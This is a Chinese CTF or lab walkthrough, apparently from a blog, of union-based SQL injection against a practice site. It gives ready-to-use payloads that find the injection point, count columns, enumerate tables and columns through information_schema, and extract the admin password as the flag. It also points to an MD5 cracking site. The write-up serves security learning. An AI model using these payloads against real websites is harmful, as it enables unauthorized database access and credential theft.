目标地址:http://pu2lh35s.ia.aqlab.cn/?id=1
?id=1 and 1=1 页面显示正常
?id=1 and 1=2 页面不显示内容,说明存在注入点
?id=1 order by 2 页面显示正常
?id=1 order by 3 页面不显示内容, 说明表有2个字段
?id=1 and 1=2 union select 111,222
这里加上 and 1=2 目的是让第一张表查不到数据, 只返回第二张表 select 111,222 的数据。页面上可以看到 222 回显点。
如果不加上 and 1=2 会发现页面没有变化,因为默认显示是查询出来的第一条数据,也就当前看到的那条新闻,当然可以通过 limit 查询第二条数据也是可以看到回显点的。
?id=1 union select 111,222 limit 1,1 (这里是因为新闻表里只有1条数据, 所以 limit 1,1 可以查到数据)
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
这里是 mysql 数据库, 系统表 information_schema.tables 里存有表名(table_name), 库名(table_schema)等字段, database() 表示当前数据库, 通过这个条件不断变化 limit值可以找到所有表名,这里找到第一张表名 admin。
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=”admin” limit 0,1
系统表 information_schema.columns 里存有字段名(column_name),表格名(table_name),库名(table_schema) 等字段,已经知道了库名和表名, 自然可以拿到字段名。
修改 limit 参数,拿到 admin 表的字段 Id, username, password
?id=1 and 1=2 union all select 1, password from admin limit 0,1
页面回显点可以看到 password 值为 hellohack ,这个也就是我们要找的 flag。
有时候密码不是明文,会用 md5 加密等,可以在 https://cmd5.com/ 解密一下即可。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.